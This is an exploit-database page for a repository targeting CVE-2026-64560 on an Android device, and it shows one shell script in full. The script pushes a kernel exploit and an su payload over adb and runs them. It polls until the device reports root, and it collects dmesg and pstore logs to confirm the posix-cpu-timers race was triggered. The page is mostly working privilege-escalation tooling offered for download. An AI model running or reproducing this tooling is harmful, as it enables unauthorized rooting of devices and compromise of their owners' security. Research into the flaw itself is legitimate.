Exploit databaseDownload repository ZIP
GH-00a2781aa7745a1ae991553a9e9498d6
000999888111/op13-cve-2026-64560
Sources for CVE-2026-64560
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
000999888111/op13-cve-2026-64560Revision 88513e448e7a
- ↑..Parent directory
- boot-campaign.sh
- build.ps1
- checksums.ps1
- measure-loop.sh
- measure-race.sh
- new-target.ps1
- probe-device.ps1
- root.ps1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scripts/measure-race.sh
Shell · 5,058 bytes#!/bin/sh
# measure-race.sh -- run one attempt and watch what the kernel says about it.
#
# The exploit's own log can only report the outcome of a stage. The kernel
# reports something the exploit cannot see: when posix_cpu_timer_del() reaches
# the branch where locking the sighand failed, it warns before returning without
# dequeueing. That warning is the proof the race window was entered, so it is
# the one measurement that separates "the window never opens" from "the window
# opens and the reclaim does not catch it".
#
# Needs root on the device, which is why it is a separate script from
# boot-campaign.sh: an unrooted device has nothing to measure with.
#
# sh scripts/measure-race.sh [-s SERIAL] [-p PAYLOAD] [-t SECONDS]
set -u
SERIAL=""
PAYLOAD="build/op13/cve-2026-64560-fanout"
RUN_SECONDS=240
REMOTE_EXPLOIT=/data/local/tmp/cve_2026_64560_adaptive
REMOTE_PAYLOAD=/data/local/tmp/cve_2026_64560_su_payload
REMOTE_CLIENT=/data/local/tmp/su
BOOTS=1
while [ $# -gt 0 ]; do
case "$1" in
-s) SERIAL="$2"; shift 2 ;;
-p) PAYLOAD="$2"; shift 2 ;;
-t) RUN_SECONDS="$2"; shift 2 ;;
-n) BOOTS="$2"; shift 2 ;;
*) echo "usage: $0 [-s SERIAL] [-p PAYLOAD] [-t SECONDS] [-n BOOTS]" >&2; exit 2 ;;
esac
done
command -v adb >/dev/null || { echo "adb not found" >&2; exit 2; }
[ -f "$PAYLOAD" ] || { echo "payload missing: $PAYLOAD" >&2; exit 2; }
if [ -z "$SERIAL" ]; then
SERIAL=$(adb devices | awk 'NR>1 && $2=="device" {print $1; exit}')
[ -n "$SERIAL" ] || { echo "no authorised device" >&2; exit 2; }
fi
ADB="adb -s $SERIAL"
LOGDIR="logs"
mkdir -p "$LOGDIR"
STAMP=$(date +%Y%m%d-%H%M%S)
RUNLOG="$LOGDIR/measure-$STAMP-run.log"
DMESG="$LOGDIR/measure-$STAMP-dmesg.txt"
$ADB shell 'su -c id' | grep -q 'uid=0' || { echo "no root on device; nothing to measure" >&2; exit 2; }
echo "fingerprint: $($ADB shell getprop ro.build.fingerprint | tr -d '\r')"
echo "kernel: $($ADB shell uname -r | tr -d '\r')"
BEFORE=$($ADB shell 'su -c dmesg' 2>/dev/null | wc -l)
echo "dmesg lines before: $BEFORE"
$ADB push "$PAYLOAD" "$REMOTE_EXPLOIT" >/dev/null 2>&1
$ADB push build/op13/su "$REMOTE_PAYLOAD" >/dev/null 2>&1
$ADB push build/op13/su "$REMOTE_CLIENT" >/dev/null 2>&1
$ADB shell chmod 755 "$REMOTE_EXPLOIT" "$REMOTE_PAYLOAD" "$REMOTE_CLIENT" >/dev/null 2>&1
printf '%s --daemon\nexit\n' "$REMOTE_PAYLOAD" > "$LOGDIR/.stdin"
$ADB shell -T "$REMOTE_EXPLOIT" --run < "$LOGDIR/.stdin" > "$RUNLOG" 2>&1 &
APID=$!
# Sample the ring buffer while the run is in flight. A run that takes the
# kernel down destroys the evidence unless it has already been copied out, and
# the whole point of this script is the warning the kernel prints on the way
# down.
elapsed=0
seen=$BEFORE
while [ "$elapsed" -lt "$RUN_SECONDS" ]; do
ident=$($ADB shell -T "$REMOTE_CLIENT" id 2>/dev/null | tr -d '\r')
case "$ident" in
*"uid=0(root)"*)
echo "ROOT_SUCCESS after ${elapsed}s: $ident"
kill "$APID" 2>/dev/null
echo "run=$RUNLOG"
exit 0
;;
esac
if [ $((elapsed % 10)) -eq 0 ]; then
$ADB shell 'su -c dmesg' > "$DMESG.tmp" 2>/dev/null
cur=$(wc -l < "$DMESG.tmp")
if [ "$cur" -gt "$seen" ]; then
tail -n "$((cur - seen))" "$DMESG.tmp" >> "$DMESG"
seen=$cur
fi
fi
kill -0 "$APID" 2>/dev/null || break
elapsed=$((elapsed + 1))
sleep 1
done
kill -0 "$APID" 2>/dev/null && kill "$APID" 2>/dev/null
rm -f "$DMESG.tmp"
echo "new dmesg lines captured: $(wc -l < "$DMESG")"
NEW=$(cat "$DMESG")
# A crash reboots the device; pstore keeps the previous boot's console, so the
# panic is still readable afterwards.
if ! $ADB get-state 2>/dev/null | grep -q device; then
echo "device went away during the run; waiting for it to return"
$ADB wait-for-device >/dev/null 2>&1
i=0
while [ "$i" -lt 60 ]; do
$ADB shell getprop sys.boot_completed 2>/dev/null | tr -d '\r' | grep -q 1 && break
i=$((i + 1)); sleep 2
done
$ADB shell 'su -c cat /sys/fs/pstore/console-ramoops-0' \
> "$LOGDIR/measure-$STAMP-ramoops.txt" 2>/dev/null
echo "ramoops lines: $(wc -l < "$LOGDIR/measure-$STAMP-ramoops.txt")"
grep -a -E "panic|Unable to handle|Call trace|posix_cpu" \
"$LOGDIR/measure-$STAMP-ramoops.txt" | head -12
fi
echo "--- stages the exploit reported ---"
grep -a -o "BOOTID_WRITE_PASS attempt=[0-9]*\|STAGE0_GATE_PASS\|MISC_BRIDGE_READ_PASS\|MISC_BRIDGE_MISS_PRESERVE\|BOOTID_WRITE_MISS\|SLAB_BASELINE.*" "$RUNLOG" | head -5
echo "--- what the kernel reported ---"
if echo "$NEW" | grep -aq "posix_cpu_timer\|posix-cpu-timers"; then
echo "RACE WINDOW ENTERED (kernel warned in posix-cpu-timers):"
echo "$NEW" | grep -a -A6 "posix_cpu_timer\|posix-cpu-timers" | head -20
else
echo "no posix-cpu-timers warning in the new dmesg lines"
fi
echo "$NEW" | grep -ac "WARNING:" | sed 's/^/ total warnings in new lines: /'
echo "$NEW" | grep -a "WARNING:" | head -5
echo "run=$RUNLOG dmesg=$DMESG"
exit 1